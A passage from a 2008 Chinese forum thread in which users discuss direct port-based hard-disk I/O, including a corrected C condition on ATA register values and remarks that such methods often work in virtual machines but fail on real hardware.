能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-29 20:32
39
0
前几天在代码里发现了一个错误

if((at_rig[REG_CYL_HI] == 0)&& (at_rig[REG_CYL_LO] == 0) &&

(at_rig[REG_SECTOR] == 1) && ((at_rig[REG_LDH]&0x10) == 0))

要改成

if((at_rig[REG_CYL_HI] == 0)&& (at_rig[REG_CYL_LO] == 0) &&

(at_rig[REG_SECTOR] == 1) && ((at_rig[REG_LDH]&0x1f) == 0))
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-29 20:33
40
0
不是 lba48,而是 io 硬盘的方法
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-29 20:42
41
0
网上 也又很多 io硬盘的方法 ,但是执行起来总是有问题,也没有什么检测硬盘存在的问题,经常都是虚拟机上正常,真机子上就不行了。
后来还是跟踪 int 13h + atapi 文档 解决的
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-29 20:50
42
0
呵呵,牛!
io硬盘也得看是什么接口的,很麻烦啊
游客
登录 | 注册 方可回帖
返回